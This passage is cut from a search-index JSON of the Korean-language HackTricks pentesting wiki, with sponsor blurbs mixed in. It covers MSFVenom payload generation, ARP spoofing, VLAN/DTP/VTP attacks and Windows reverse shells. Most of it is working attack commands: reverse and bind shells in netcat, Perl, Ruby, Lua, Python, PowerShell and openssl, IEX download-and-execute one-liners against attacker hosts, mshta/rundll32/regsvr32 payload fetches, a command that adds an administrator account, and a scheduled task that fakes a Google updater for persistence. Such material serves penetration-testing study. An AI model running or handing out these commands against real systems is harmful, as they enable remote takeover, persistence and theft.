RHOST=(IP Address) LPORT=(Your Port) -f exe > bind.exe","breadcrumbs":"Reverse Shells (Linux, Windows, MSFVenom) » MSFVenom - CheatSheet » 바인드 셸","id":"1168","title":"바인드 셸"},"1169":{"body":"bash msfvenom -p windows/adduser USER=attacker PASS=attacker@123 -f exe > adduser.exe","breadcrumbs":"Reverse Shells (Linux, Windows, MSFVenom) » MSFVenom - CheatSheet » 사용자 생성","id":"1169","title":"사용자 생성"},"117":{"body":"ARP Spoofing은 gratuitous ARPResponses를 보내 특정 머신의 IP가 우리 장치의 MAC을 가지고 있다고 알리는 공격입니다. 그러면 피해자는 ARP 테이블을 변경하고, 그 spoofed IP에 접속하려 할 때마다 우리 장치로 통신하게 됩니다. Bettercap bash arp.spoof on\\nset arp.spoof.targets #Specific targets to ARP spoof (default=)\\nset arp.spoof.whitelist #Specific targets to skip while spoofing\\nset arp.spoof.fullduplex true #If true, both the targets and the gateway will be attacked, otherwise only the target (default=false)\\nset arp.spoof.internal true #If true, local connections among computers of the network will be spoofed, otherwise only connections going to and coming from the Internet (default=false) Arpspoof bash echo 1 > /proc/sys/net/ipv4/ip_forward\\narpspoof -t 192.168.1.1 192.168.1.2\\narpspoof -t 192.168.1.2 192.168.1.1","breadcrumbs":"Pentesting Network » ARP spoofing","id":"117","title":"ARP spoofing"},"1170":{"body":"bash msfvenom -p windows/shell/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f exe > prompt.exe","breadcrumbs":"Reverse Shells (Linux, Windows, MSFVenom) » MSFVenom - CheatSheet » CMD 셸","id":"1170","title":"CMD 셸"},"1171":{"body":"bash msfvenom -a x86 --platform Windows -p windows/exec CMD=\\"powershell \\\\\\"IEX(New-Object Net.webClient).downloadString(\'http://IP/nishang.ps1\')\\\\\\"\\" -f exe > pay.exe\\nmsfvenom -a x86 --platform Windows -p windows/exec CMD=\\"net localgroup administrators shaun /add\\" -f exe > pay.exe","breadcrumbs":"Reverse Shells (Linux, Windows, MSFVenom) » MSFVenom - CheatSheet » 명령 실행","id":"1171","title":"명령 실행"},"1172":{"body":"bash msfvenom -p windows/meterpreter/reverse_tcp -e shikata_ga_nai -i 3 -f exe > encoded.exe","breadcrumbs":"Reverse Shells (Linux, Windows, MSFVenom) » MSFVenom - CheatSheet » 인코더","id":"1172","title":"인코더"},"1173":{"body":"bash msfvenom -p windows/shell_reverse_tcp LHOST= LPORT= -x /usr/share/windows-binaries/plink.exe -f exe -o plinkmeter.exe","breadcrumbs":"Reverse Shells (Linux, Windows, MSFVenom) » MSFVenom - CheatSheet » 실행 파일에 내장됨","id":"1173","title":"실행 파일에 내장됨"},"1174":{"body":"","breadcrumbs":"Reverse Shells (Linux, Windows, MSFVenom) » MSFVenom - CheatSheet » 리눅스 페이로드","id":"1174","title":"리눅스 페이로드"},"1175":{"body":"bash msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f elf > reverse.elf\\nmsfvenom -p linux/x64/shell_reverse_tcp LHOST=IP LPORT=PORT -f elf > shell.elf","breadcrumbs":"Reverse Shells (Linux, Windows, MSFVenom) » MSFVenom - CheatSheet » 리버스 셸","id":"1175","title":"리버스 셸"},"1176":{"body":"bash msfvenom -p linux/x86/meterpreter/bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f elf > bind.elf","breadcrumbs":"Reverse Shells (Linux, Windows, MSFVenom) » MSFVenom - CheatSheet » 바인드 셸","id":"1176","title":"바인드 셸"},"1177":{"body":"bash msfvenom --platform=solaris --payload=solaris/x86/shell_reverse_tcp LHOST=(ATTACKER IP) LPORT=(ATTACKER PORT) -f elf -e x86/shikata_ga_nai -b \'\\\\x00\' > solshell.elf","breadcrumbs":"Reverse Shells (Linux, Windows, MSFVenom) » MSFVenom - CheatSheet » SunOS (Solaris)","id":"1177","title":"SunOS (Solaris)"},"1178":{"body":"","breadcrumbs":"Reverse Shells (Linux, Windows, MSFVenom) » MSFVenom - CheatSheet » MAC 페이로드","id":"1178","title":"MAC 페이로드"},"1179":{"body":"bash msfvenom -p osx/x86/shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f macho > reverse.macho","breadcrumbs":"Reverse Shells (Linux, Windows, MSFVenom) » MSFVenom - CheatSheet » 리버스 셸:","id":"1179","title":"리버스 셸:"},"118":{"body":"스위치의 CAM table을 오버플로우시키기 위해 서로 다른 source mac address를 가진 많은 패킷을 전송한다. CAM table이 가득 차면 스위치는 hub처럼 동작하기 시작하여 모든 트래픽을 브로드캐스트한다. bash macof -i 최신 스위치에서는 이 취약점이 수정되었습니다.","breadcrumbs":"Pentesting Network » MAC Flooding - CAM overflow","id":"118","title":"MAC Flooding - CAM overflow"},"1180":{"body":"bash msfvenom -p osx/x86/shell_bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f macho > bind.macho","breadcrumbs":"Reverse Shells (Linux, Windows, MSFVenom) » MSFVenom - CheatSheet » 바인드 셸","id":"1180","title":"바인드 셸"},"1181":{"body":"","breadcrumbs":"Reverse Shells (Linux, Windows, MSFVenom) » MSFVenom - CheatSheet » 웹 기반 페이로드","id":"1181","title":"웹 기반 페이로드"},"1182":{"body":"리버스 셸 bash msfvenom -p php/meterpreter_reverse_tcp LHOST= LPORT= -f raw > shell.php\\ncat shell.php | pbcopy && echo \' shell.php && pbpaste >> shell.php","breadcrumbs":"Reverse Shells (Linux, Windows, MSFVenom) » MSFVenom - CheatSheet » PHP","id":"1182","title":"PHP"},"1183":{"body":"리버스 셸 bash msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f asp >reverse.asp\\nmsfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f aspx >reverse.aspx","breadcrumbs":"Reverse Shells (Linux, Windows, MSFVenom) » MSFVenom - CheatSheet » ASP/x","id":"1183","title":"ASP/x"},"1184":{"body":"리버스 셸 bash msfvenom -p java/jsp_shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f raw> reverse.jsp","breadcrumbs":"Reverse Shells (Linux, Windows, MSFVenom) » MSFVenom - CheatSheet » JSP","id":"1184","title":"JSP"},"1185":{"body":"리버스 셸 bash msfvenom -p java/jsp_shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f war > reverse.war","breadcrumbs":"Reverse Shells (Linux, Windows, MSFVenom) » MSFVenom - CheatSheet » WAR","id":"1185","title":"WAR"},"1186":{"body":"bash msfvenom -p nodejs/shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port)","breadcrumbs":"Reverse Shells (Linux, Windows, MSFVenom) » MSFVenom - CheatSheet » NodeJS","id":"1186","title":"NodeJS"},"1187":{"body":"","breadcrumbs":"Reverse Shells (Linux, Windows, MSFVenom) » MSFVenom - CheatSheet » 스크립트 언어 페이로드","id":"1187","title":"스크립트 언어 페이로드"},"1188":{"body":"bash msfvenom -p cmd/unix/reverse_perl LHOST=(IP Address) LPORT=(Your Port) -f raw > reverse.pl","breadcrumbs":"Reverse Shells (Linux, Windows, MSFVenom) » MSFVenom - CheatSheet » Perl","id":"1188","title":"Perl"},"1189":{"body":"bash msfvenom -p cmd/unix/reverse_python LHOST=(IP Address) LPORT=(Your Port) -f raw > reverse.py","breadcrumbs":"Reverse Shells (Linux, Windows, MSFVenom) » MSFVenom - CheatSheet » 파이썬","id":"1189","title":"파이썬"},"119":{"body":"Dynamic Trunking The **Dynamic Trunking Protocol (DTP)**은 트렁킹을 자동화하기 위해 설계된 링크 계층 프로토콜로, 스위치가 포트를 Trunk 모드 또는 비트렁크(non-trunk) 모드로 자동으로 선택할 수 있게 합니다. DTP 의 사용은 종종 최적이 아닌 네트워크 설계를 나타내므로, 트렁크는 필요한 곳에서만 수동으로 구성하고 적절히 문서화하는 것이 중요합니다. 기본적으로 스위치 포트는 Dynamic Auto 모드로 설정되어 있어 인접 스위치의 신호가 있으면 트렁킹을 시작할 준비가 되어 있습니다. pentester나 공격자가 스위치에 연결해 DTP Desirable frame을 전송하면 포트가 강제로 Trunk 모드로 전환될 수 있다는 점이 보안 문제입니다. 이로 인해 공격자는 STP frame 분석을 통해 VLANs를 열거하고 가상 인터페이스를 설정하여 VLAN 분할을 우회할 수 있습니다. 많은 스위치에서 기본적으로 DTP가 활성화되어 있는 것은 공격자가 스위치 행세를 하여 모든 VLANs의 트래픽에 접근할 수 있게 악용될 수 있습니다. dtpscan.sh 스크립트는 인터페이스를 모니터링하여 스위치가 Default, Trunk, Dynamic, Auto, 또는 Access 모드 중 어느 상태인지 보여줍니다. 이 중 Access 모드만이 VLAN hopping attacks에 면역입니다. 이 도구는 스위치의 취약성 상태를 평가합니다. 네트워크 취약점이 확인되면, Yersinia 툴을 사용해 DTP 프로토콜을 통해 \\"enable trunking\\"을 수행하여 모든 VLANs의 패킷을 관찰할 수 있습니다. bash apt-get install yersinia #Installation\\nsudo apt install kali-linux-large #Another way to install it in Kali\\nyersinia -I #Interactive mode\\n#In interactive mode you will need to select a interface first\\n#Then, you can select the protocol to attack using letter \\"g\\"\\n#Finally, you can select the attack using letter \\"x\\" yersinia -G #For graphic mode VLAN을 열거하기 위해서는 DTPHijacking.py 을(를) 사용해 DTP Desirable 프레임을 생성하는 것도 가능합니다. 어떤 경우에도 스크립트를 중단하지 마십시오. 이 스크립트는 3초마다 DTP Desirable을 주입합니다. 스위치에서 동적으로 생성된 trunk 채널은 5분 동안만 유지됩니다. 5분 후에는 trunk가 사라집니다. sudo python3 DTPHijacking.py --interface eth0 언급하자면 Access/Desirable (0x03) 은 DTP 프레임이 Desirable 타입임을 나타내며, 포트가 Trunk 모드로 전환되도록 지시합니다. 그리고 802.1Q/802.1Q (0xa5) 은 802.1Q 캡슐화 타입을 나타냅니다. STP 프레임을 분석함으로써, VLAN 30과 VLAN 60의 존재를 알 수 있습니다. 특정 VLAN 공격 VLAN ID와 IP 값을 알게 되면, 가상 인터페이스를 구성하여 특정 VLAN을 공격할 수 있습니다 . DHCP가 사용 불가능한 경우 _ifconfig_를 사용하여 정적 IP 주소를 설정하세요. root@kali:~# modprobe 8021q\\nroot@kali:~# vconfig add eth1 250\\nAdded VLAN with VID == 250 to IF -:eth1:-\\nroot@kali:~# dhclient eth1.250\\nReloading /etc/samba/smb.conf: smbd only.\\nroot@kali:~# ifconfig eth1.250\\neth1.250 Link encap:Ethernet HWaddr 00:0e:c6:f0:29:65\\ninet addr:10.121.5.86 Bcast:10.121.5.255 Mask:255.255.255.0\\ninet6 addr: fe80::20e:c6ff:fef0:2965/64 Scope:Link\\nUP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1\\nRX packets:19 errors:0 dropped:0 overruns:0 frame:0\\nTX packets:13 errors:0 dropped:0 overruns:0 carrier:0\\ncollisions:0 txqueuelen:0\\nRX bytes:2206 (2.1 KiB) TX bytes:1654 (1.6 KiB) root@kali:~# arp-scan -I eth1.250 10.121.5.0/24 bash # Another configuration example\\nmodprobe 8021q\\nvconfig add eth1 20\\nifconfig eth1.20 192.168.1.2 netmask 255.255.255.0 up bash # Another configuration example\\nsudo vconfig add eth0 30\\nsudo ip link set eth0.30 up\\nsudo dhclient -v eth0.30 Automatic VLAN Hopper 논의된 공격인 Dynamic Trunking and creating virtual interfaces an discovering hosts inside other VLANs는 도구: https://github.com/nccgroup/vlan-hopping---frogger 에 의해 자동으로 수행 됩니다. Double Tagging If an attacker knows the value of the MAC, IP and VLAN ID of the victim host , he could try to double tag a frame with its designated VLAN and the VLAN of the victim and send a packet. As the victim won\'t be able to connect back with the attacker, so the best option for the attacker is communicate via UDP to protocols that can perform some interesting actions (like SNMP). Another option for the attacker is to launch a TCP port scan spoofing an IP controlled by the attacker and accessible by the victim (probably through internet). Then, the attacker could sniff in the second host owned by him if it receives some packets from the victim. To perform this attack you could use scapy: pip install scapy python from scapy.all import *\\n# Double tagging with ICMP packet (the response from the victim isn\'t double tagged so it will never reach the attacker)\\npacket = Ether()/Dot1Q(vlan=1)/Dot1Q(vlan=20)/IP(dst=\'192.168.1.10\')/ICMP()\\nsendp(packet) Lateral VLAN Segmentation Bypass 직접 연결된 스위치에 접근 권한이 있는 경우 , 네트워크 내에서 VLAN segmentation을 우회 할 수 있습니다. 단순히 포트를 trunk 모드 로 전환하고 대상 VLAN ID로 가상 인터페이스를 생성한 뒤 IP 주소를 설정하면 됩니다. 주소는 동적으로 요청(DHCP)하거나 정적으로 설정할 수 있으며 상황에 따라 다릅니다. Lateral VLAN Segmentation Bypass Layer 3 Private VLAN Bypass 게스트 무선 네트워크와 같은 특정 환경에서는 무선 액세스 포인트에 연결된 클라이언트들이 서로 직접 통신하지 못하도록 port isolation(일명 private VLAN) 설정이 적용됩니다. 하지만 이러한 격리 조치를 우회할 수 있는 기법이 확인되었습니다. 이 기법은 네트워크 ACL이 없거나 잘못 구성된 점을 악용하여 IP 패킷이 라우터를 통해 동일 네트워크의 다른 클라이언트로 전달되도록 합니다. 공격은 대상 클라이언트의 IP 주소를 포함하지만 라우터의 MAC 주소를 가진 패킷을 생성함으로써 수행됩니다. 이렇게 하면 라우터가 패킷을 잘못 판단하여 대상 클라이언트로 전달하게 됩니다. 이 접근법은 Double Tagging Attacks에서 사용되는 방식과 유사하며, 피해자에게 접근 가능한 호스트를 제어할 수 있는 능력을 이용해 보안 취약점을 악용합니다. 공격의 주요 단계: 패킷 제작: 대상 클라이언트의 IP 주소를 포함하되 라우터의 MAC 주소를 가진 패킷을 특별히 제작합니다. 라우터 동작 악용: 제작된 패킷을 라우터로 전송하면, 구성에 따라 라우터가 해당 패킷을 대상 클라이언트로 리디렉션하여 private VLAN 설정으로 제공되는 격리를 우회합니다.","breadcrumbs":"Pentesting Network » 802.1Q VLAN / DTP Attacks","id":"119","title":"802.1Q VLAN / DTP Attacks"},"1190":{"body":"bash msfvenom -p cmd/unix/reverse_bash LHOST= LPORT= -f raw > shell.sh tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Reverse Shells (Linux, Windows, MSFVenom) » MSFVenom - CheatSheet » 배쉬","id":"1190","title":"배쉬"},"1191":{"body":"Reading time: 16 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Reverse Shells (Linux, Windows, MSFVenom) » Reverse Shells - Windows » Shells - Windows","id":"1191","title":"Shells - Windows"},"1192":{"body":"페이지 lolbas-project.github.io 는 Windows용이며 https://gtfobins.github.io/ 는 linux용입니다. 물론 there aren\'t SUID files or sudo privileges in Windows , 하지만 일부 binaries 가 어떻게 (ab)used 되어 **execute arbitrary code.**와 같은 의도치 않은 동작을 수행할 수 있는지 아는 것은 유용합니다.","breadcrumbs":"Reverse Shells (Linux, Windows, MSFVenom) » Reverse Shells - Windows » Lolbas","id":"1192","title":"Lolbas"},"1193":{"body":"bash nc.exe -e cmd.exe ","breadcrumbs":"Reverse Shells (Linux, Windows, MSFVenom) » Reverse Shells - Windows » NC","id":"1193","title":"NC"},"1194":{"body":"피해자 ncat.exe -e \\"cmd.exe /c (cmd.exe 2>&1)\\"\\n#Encryption to bypass firewall\\nncat.exe --ssl -e \\"cmd.exe /c (cmd.exe 2>&1)\\" attacker ncat -l \\n#Encryption to bypass firewall\\nncat -l --ssl","breadcrumbs":"Reverse Shells (Linux, Windows, MSFVenom) » Reverse Shells - Windows » NCAT","id":"1194","title":"NCAT"},"1195":{"body":"sbd 은 휴대 가능하고 안전한 Netcat 대안입니다. Unix-like 시스템과 Win32에서 작동합니다. 강력한 암호화, 프로그램 실행, 사용자 지정 가능한 소스 포트, 지속적인 재연결 같은 기능을 통해 sbd는 TCP/IP 통신을 위한 다용도 솔루션을 제공합니다. Windows 사용자는 Kali Linux 배포판의 sbd.exe 버전을 Netcat의 신뢰할 수 있는 대체제로 사용할 수 있습니다. bash # Victims machine\\nsbd -l -p 4444 -e bash -v -n\\nlistening on port 4444 # Atackers\\nsbd 10.10.10.10 4444\\nid\\nuid=0(root) gid=0(root) groups=0(root)","breadcrumbs":"Reverse Shells (Linux, Windows, MSFVenom) » Reverse Shells - Windows » SBD","id":"1195","title":"SBD"},"1196":{"body":"bash #Windows\\nC:\\\\Python27\\\\python.exe -c \\"(lambda __y, __g, __contextlib: [[[[[[[(s.connect((\'10.11.0.37\', 4444)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type(\'except\', (), {\'__enter__\': lambda self: None, \'__exit__\': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type(\'try\', (), {\'__enter__\': lambda self: None, \'__exit__\': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g[\'p2s_thread\'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g[\'s2p_thread\'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g[\'p\'] in [(subprocess.Popen([\'\\\\\\\\windows\\\\\\\\system32\\\\\\\\cmd.exe\'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g[\'s\'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g[\'p2s\'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l[\'s\'].send(__l[\'p\'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l[\'s\'], __l[\'p\'] in [(s, p)]][0])({}), \'p2s\')]][0] for __g[\'s2p\'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l[\'p\'].stdin.write(__l[\'data\']), __after())[1] if (len(__l[\'data\']) > 0) else __after())(lambda: __this()) for __l[\'data\'] in [(__l[\'s\'].recv(1024))]][0] if True else __after())())(lambda: None) for __l[\'s\'], __l[\'p\'] in [(s, p)]][0])({}), \'s2p\')]][0] for __g[\'os\'] in [(__import__(\'os\', __g, __g))]][0] for __g[\'socket\'] in [(__import__(\'socket\', __g, __g))]][0] for __g[\'subprocess\'] in [(__import__(\'subprocess\', __g, __g))]][0] for __g[\'threading\'] in [(__import__(\'threading\', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__(\'contextlib\'))\\"","breadcrumbs":"Reverse Shells (Linux, Windows, MSFVenom) » Reverse Shells - Windows » Python","id":"1196","title":"Python"},"1197":{"body":"bash perl -e \'use Socket;$i=\\"ATTACKING-IP\\";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\\"tcp\\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\\">&S\\");open(STDOUT,\\">&S\\");open(STDERR,\\">&S\\");exec(\\"/bin/sh -i\\");};\'\\nperl -MIO -e \'$c=new IO::Socket::INET(PeerAddr,\\"ATTACKING-IP:80\\");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;\'","breadcrumbs":"Reverse Shells (Linux, Windows, MSFVenom) » Reverse Shells - Windows » Perl","id":"1197","title":"Perl"},"1198":{"body":"bash #Windows\\nruby -rsocket -e \'c=TCPSocket.new(\\"[IPADDR]\\",\\"[PORT]\\");while(cmd=c.gets);IO.popen(cmd,\\"r\\"){|io|c.print io.read}end\'","breadcrumbs":"Reverse Shells (Linux, Windows, MSFVenom) » Reverse Shells - Windows » Ruby","id":"1198","title":"Ruby"},"1199":{"body":"bash lua5.1 -e \'local host, port = \\"127.0.0.1\\", 4444 local socket = require(\\"socket\\") local tcp = socket.tcp() local io = require(\\"io\\") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, \'r\') local s = f:read(\\"*a\\") f:close() tcp:send(s) if status == \\"closed\\" then break end end tcp:close()\'","breadcrumbs":"Reverse Shells (Linux, Windows, MSFVenom) » Reverse Shells - Windows » Lua","id":"1199","title":"Lua"},"12":{"body":"Venacus 는 데이터 유출 검색 엔진입니다. 우리는 모든 유형의 데이터 유출에 대해 무작위 문자열 검색(구글과 유사)을 제공합니다. 사람 검색, AI 검색, 조직 검색, API (OpenAPI) 접근, theHarvester 통합 등, 모든 기능이 pentester에게 필요합니다. HackTricks는 우리 모두에게 훌륭한 학습 플랫폼으로 계속되고 있으며, 우리는 이를 후원하게 되어 자랑스럽습니다! Venacus | Data breach search engine","breadcrumbs":"HackTricks » Venacus","id":"12","title":"Venacus"},"120":{"body":"VTP(VLAN Trunking Protocol)는 VLAN 관리를 중앙화합니다. VTP는 VLAN 데이터베이스 무결성을 유지하기 위해 revision number를 사용하며, 변경이 발생할 때마다 이 번호가 증가합니다. 스위치들은 더 높은 revision number를 가진 구성을 수용하여 자신의 VLAN 데이터베이스를 업데이트합니다. VTP Domain Roles VTP Server: VLAN을 관리합니다—생성, 삭제, 수정. 도메인 멤버들에게 VTP announcements를 브로드캐스트합니다. VTP Client: VTP announcements를 받아 VLAN 데이터베이스를 동기화합니다. 이 역할은 로컬 VLAN 구성 변경이 제한됩니다. VTP Transparent: VTP 업데이트에 참여하지 않지만 VTP announcements를 전달합니다. VTP 공격의 영향을 받지 않으며 항상 revision number는 0으로 유지됩니다. VTP Advertisement Types Summary Advertisement: VTP server가 300초마다 브로드캐스트하며 도메인에 대한 필수 정보를 담고 있습니다. Subset Advertisement: VLAN 구성 변경 후에 전송됩니다. Advertisement Request: 보통 더 높은 configuration revision number를 감지한 VTP client가 Summary Advertisement를 요청하기 위해 발행합니다. VTP 취약점은 VTP announcements가 trunk 포트를 통해서만 순환하기 때문에 오직 trunk 포트를 통해서만 악용될 수 있습니다. DTP 공격 이후 시나리오에서는 VTP로 전환될 가능성이 있습니다. Yersinia와 같은 도구는 VTP 공격을 수행하는 데 사용될 수 있으며, VLAN database를 삭제하여 네트워크를 효과적으로 방해하는 것을 목표로 합니다. Note: This discussion pertains to VTP version 1 (VTPv1). bash yersinia -G # Launch Yersinia in graphical mode In Yersinia의 그래픽 모드에서 \'deleting all VTP vlans\' 옵션을 선택하여 VLAN database를 정리하세요.","breadcrumbs":"Pentesting Network » VTP Attacks","id":"120","title":"VTP Attacks"},"1200":{"body":"Attacker (Kali) bash openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Generate certificate\\nopenssl s_server -quiet -key key.pem -cert cert.pem -port #Here you will be able to introduce the commands\\nopenssl s_server -quiet -key key.pem -cert cert.pem -port #Here yo will be able to get the response 피해자 bash #Linux\\nopenssl s_client -quiet -connect :|/bin/bash|openssl s_client -quiet -connect : #Windows\\nopenssl.exe s_client -quiet -connect :|cmd.exe|openssl s_client -quiet -connect :","breadcrumbs":"Reverse Shells (Linux, Windows, MSFVenom) » Reverse Shells - Windows » OpenSSH","id":"1200","title":"OpenSSH"},"1201":{"body":"bash powershell -exec bypass -c \\"(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr(\'http://10.2.0.5/shell.ps1\')|iex\\"\\npowershell \\"IEX(New-Object Net.WebClient).downloadString(\'http://10.10.14.9:8000/ipw.ps1\')\\"\\nStart-Process -NoNewWindow powershell \\"IEX(New-Object Net.WebClient).downloadString(\'http://10.222.0.26:8000/ipst.ps1\')\\"\\necho IEX(New-Object Net.WebClient).DownloadString(\'http://10.10.14.13:8000/PowerUp.ps1\') | powershell -noprofile 네트워크 호출을 수행하는 프로세스: powershell.exe Payload가 디스크에 기록됨: 아니오 ( 적어도 procmon으로는 찾을 수 없었습니다! ) bash powershell -exec bypass -f \\\\\\\\webdavserver\\\\folder\\\\payload.ps1 네트워크 호출을 수행하는 프로세스: svchost.exe 디스크에 기록된 Payload: WebDAV 클라이언트 로컬 캐시 한 줄 명령: bash $client = New-Object System.Net.Sockets.TCPClient(\\"10.10.10.10\\",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + \\"PS \\" + (pwd).Path + \\"> \\";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() 이 문서 끝에서 다양한 Powershell Shells에 대한 자세한 정보를 확인하세요","breadcrumbs":"Reverse Shells (Linux, Windows, MSFVenom) » Reverse Shells - Windows » Powershell","id":"1201","title":"Powershell"},"1202":{"body":"From here bash mshta vbscript:Close(Execute(\\"GetObject(\\"\\"script:http://webserver/payload.sct\\"\\")\\")) bash mshta http://webserver/payload.hta bash mshta \\\\\\\\webdavserver\\\\folder\\\\payload.hta hta-psh reverse shell 예시 (hta를 사용하여 PS backdoor를 다운로드하고 실행) xml stager hta를 사용해 Koadic zombie를 매우 쉽게 download & execute할 수 있습니다 hta 예제 From here xml \\n\\n\\n\\n\\n\\n\\n\\n mshta - sct From here xml \\n\\n\\n\\n\\n\\n\\n\\n Mshta - Metasploit bash use exploit/windows/misc/hta_server\\nmsf exploit(windows/misc/hta_server) > set srvhost 192.168.1.109\\nmsf exploit(windows/misc/hta_server) > set lhost 192.168.1.109\\nmsf exploit(windows/misc/hta_server) > exploit bash Victim> mshta.exe //192.168.1.109:8080/5EEiDSd70ET0k.hta #The file name is given in the output of metasploit Defender에 의해 탐지됨","breadcrumbs":"Reverse Shells (Linux, Windows, MSFVenom) » Reverse Shells - Windows » Mshta","id":"1202","title":"Mshta"},"1203":{"body":"Dll hello world example From here bash rundll32 \\\\\\\\webdavserver\\\\folder\\\\payload.dll,entrypoint bash rundll32.exe javascript:\\"\\\\..\\\\mshtml,RunHTMLApplication\\";o=GetObject(\\"script:http://webserver/payload.sct\\");window.close(); defender에 의해 탐지됨 Rundll32 - sct From here xml \\n\\n\\n\\n\\n\\n\\n Rundll32 - Metasploit bash use windows/smb/smb_delivery\\nrun\\n#You will be given the command to run in the victim: rundll32.exe \\\\\\\\10.2.0.5\\\\Iwvc\\\\test.dll,0 Rundll32 - Koadic bash use stager/js/rundll32_js\\nset SRVHOST 192.168.1.107\\nset ENDPOINT sales\\nrun\\n#Koadic will tell you what you need to execute inside the victim, it will be something like:\\nrundll32.exe javascript:\\"\\\\..\\\\mshtml, RunHTMLApplication \\";x=new%20ActiveXObject(\\"Msxml2.ServerXMLHTTP.6.0\\");x.open(\\"GET\\",\\"http://10.2.0.5:9997/ownmG\\",false);x.send();eval(x.responseText);window.close();","breadcrumbs":"Reverse Shells (Linux, Windows, MSFVenom) » Reverse Shells - Windows » Rundll32","id":"1203","title":"Rundll32"},"1204":{"body":"원문 bash regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll regsvr32 /u /n /s /i:\\\\\\\\webdavserver\\\\folder\\\\payload.sct scrobj.dll Defender에 의해 탐지됨 Regsvr32 – /i 인자를 사용한 임의 DLL export (게이트키핑 및 지속성) 원격 scriptlets (scrobj.dll) 로딩 외에도, regsvr32.exe는 로컬 DLL을 로드하고 그 DllRegisterServer/DllUnregisterServer exports를 호출합니다. 맞춤형 loaders는 종종 이 동작을 악용하여 서명된 LOLBin과 섞여 임의 코드를 실행합니다. 실전에서 관찰된 두 가지 트레이드크래프트 노트: Gatekeeping argument: DLL은 특정 스위치가 /i:로 전달되지 않으면 종료합니다. 예: Chromium renderer 자식 프로세스를 모방하기 위한 /i:--type=renderer. 이는 우발적 실행을 줄이고 샌드박스를 방해합니다. Persistence: 업데이터 작업으로 가장하여 silent + 높은 권한과 필요한 /i 인자를 사용해 DLL을 실행하도록 regsvr32를 스케줄링: powershell Register-ScheduledTask \\\\\\n-Action (New-ScheduledTaskAction -Execute \\"regsvr32\\" -Argument \\"/s /i:--type=renderer \\\\\\"%APPDATA%\\\\Microsoft\\\\SystemCertificates\\\\.dll\\\\\\"\\") \\\\\\n-Trigger (New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(1) -RepetitionInterval (New-TimeSpan -Minutes 1)) \\\\\\n-TaskName \'GoogleUpdaterTaskSystem196.6.2928.90.{FD10B0DF-...}\' \\\\\\n-TaskPath \'\\\\\\\\GoogleSystem\\\\\\\\GoogleUpdater\' \\\\\\n-Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -ExecutionTimeLimit 0 -DontStopOnIdleEnd) \\\\\\n-RunLevel Highest 참고: ClickFix의 clipboard‑to‑PowerShell 변형은 JS loader를 스테이지한 후 regsvr32로 지속성을 확보합니다. Clipboard Hijacking 출처 html 